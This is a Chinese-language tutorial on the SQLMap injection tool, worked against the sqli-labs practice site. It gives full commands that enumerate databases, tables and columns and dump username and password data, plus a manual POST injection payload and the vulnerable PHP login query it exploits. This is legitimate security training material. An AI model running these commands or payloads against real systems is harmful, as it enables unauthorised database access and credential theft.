SQLMap自动化注入工具

工具介绍

SQLMap特点

  • Python开源项目
  • 全球最强大的SQL注入工具
  • 支持多种数据库和注入类型
  • 推荐在Linux/Kali环境使用

基础用法

1. 获取数据库名

bash 复制代码
sqlmap -u "http://sqlilabs.njhack.xyz/Less-1/index.php?id=1" --dbs

参数说明

  • -u:目标URL
  • --dbs:枚举所有数据库

2. 获取表名

bash 复制代码
sqlmap -u "http://sqlilabs.njhack.xyz/Less-1/index.php?id=1" -D security --tables

参数说明

  • -D security:指定数据库名
  • --tables:枚举表名

3. 获取列名

bash 复制代码
sqlmap -u "http://sqlilabs.njhack.xyz/Less-1/index.php?id=1" -D security -T users --columns

参数说明

  • -T users:指定表名
  • --columns:枚举列名

4. 导出数据

bash 复制代码
sqlmap -u "http://sqlilabs.njhack.xyz/Less-1/index.php?id=1" -D security -T users -C username,password --dump

参数说明

  • -C username,password:指定列名
  • --dump:导出数据

高级参数

完整命令格式

bash 复制代码
sqlmap -u [目标URL] --dbs --batch --threads 10 --technique U

参数详解

  • --batch:自动选择默认选项,无需手动确认
  • --threads 10:使用10个线程(加快扫描速度)
  • --technique U:指定注入技术类型

注入技术类型(TECHNIQUE)

U - UNION查询注入

最常用、最快速的注入方式

bash 复制代码
sqlmap -u [URL] --current-db --batch --threads 10 --technique U

特点

  • 需要能显示数据
  • 速度最快
  • 结果最直观

E - 报错注入(Error-based)

适用场景:无法找到显示位,但数据库错误会显示

bash 复制代码
sqlmap -u [URL] --current-db --batch --threads 10 --technique E

原理

  • 通过构造特殊语句触发数据库报错
  • 在报错信息中包含查询结果
  • 对应靶场Less-5

B - 布尔盲注(Boolean-based)

适用场景:页面只有"有内容"和"无内容"两种状态

bash 复制代码
sqlmap -u [URL] --current-db --batch --threads 10 --technique B

原理

  • 通过构造条件判断语句
  • 根据页面是否显示内容判断真假
  • 逐位猜解数据
  • 对应靶场Less-8

T - 时间盲注(Time-based)

适用场景:页面无任何显示差异

bash 复制代码
sqlmap -u [URL] --current-db --batch --threads 10 --technique T -v 3

原理

  • 利用SLEEP()等函数延迟响应
  • 通过响应时间判断条件真假
  • 最慢但最隐蔽的方式
  • -v 3:显示详细调试信息

速度对比

复制代码
U (最快) > E > B > T (最慢)

POST型注入

漏洞识别

靶场环境:Less-11

测试步骤

  1. 在登录表单输入:admin1
  2. 点击Submit提交
  3. 使用Burp Suite抓包
  4. 在用户名后添加'\测试

判断注入点

复制代码
username: admin1'
password: admin1

如果报错,说明存在注入。

后端代码推测

php 复制代码
<?php
$uname = $_POST['uname'];
$passwd = $_POST['passwd'];

$sql = "SELECT username, password FROM users 
        WHERE username='$uname' AND password='$passwd' 
        LIMIT 0,1";
?>

POST注入注释符 :使用#(井号)

测试Payload

复制代码
username: admin1'#
password: 任意值

SQLMap POST注入

基本语法

bash 复制代码
sqlmap -u [目标URL] --data "uname=admin1*&passwd=admin1&submit=Submit" --current-db --batch --threads 10 --technique U

关键参数

  • --data:POST数据
  • *:标记注入点(告诉SQLMap测试这个参数)

实战命令示例

UNION注入

bash 复制代码
sqlmap -u "http://sqlilabs.njhack.xyz/Less-11/" \
--data "uname=admin1*&passwd=admin1&submit=Submit" \
--current-db --batch --threads 10 --technique U

报错注入

bash 复制代码
sqlmap -u "http://sqlilabs.njhack.xyz/Less-11/" \
--data "uname=admin*&passwd=admin&submit=Submit" \
--current-db --batch --threads 10 --technique E

数据获取流程

  1. 抓取POST数据包
  2. 复制POST数据体(最后一行)
  3. 用双引号包裹
  4. 在注入点位置添加*
  5. 执行SQLMap命令
相关推荐
碳基沙盒1 天前
OpenClaw 多 Agent 配置实战指南
运维
蝎子莱莱爱打怪4 天前
Centos7中一键安装K8s集群以及Rancher安装记录
运维·后端·kubernetes
DianSan_ERP5 天前
电商API接口全链路监控:构建坚不可摧的线上运维防线
大数据·运维·网络·人工智能·git·servlet
呉師傅5 天前
火狐浏览器报错配置文件缺失如何解决#操作技巧#
运维·网络·windows·电脑
不是二师兄的八戒5 天前
Linux服务器挂载OSS存储的完整实践指南
linux·运维·服务器
zhangfeng11335 天前
趋动云 如何ssh登录 服务区 项目server
运维·人工智能·ssh
ZeroNews内网穿透5 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全
失重外太空啦5 天前
nginx
运维·nginx
Gofarlic_oms15 天前
避免Kisssoft高级分析模块过度采购的科学评估方法
大数据·linux·运维·人工智能·matlab
田井中律.5 天前
服务器部署问题汇总(ubuntu24.04.3)
运维·服务器